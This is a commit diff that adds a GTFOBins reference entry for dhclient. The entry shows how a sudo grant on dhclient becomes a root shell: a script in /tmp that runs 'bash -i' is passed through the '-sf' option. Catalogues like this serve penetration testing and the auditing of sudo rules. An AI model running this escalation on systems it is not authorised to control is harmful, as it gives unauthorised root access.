Create dhclient.md

_gtfobins/dhclient.md

@@ -0,0 +1,12 @@
+---
+functions:
+  sudo:
+    - description: The below technique utilizies `dhclient`'s script file option (`-sf`) to execute arbitrary commands with `sudo`.
+      code: |
+        cat > /tmp/script.sh << EOF
+        #!/bin/bash
+        bash -i
+        EOF
+        chmod +x /tmp/script.sh
+        sudo dhclient -sf /tmp/script.sh
+---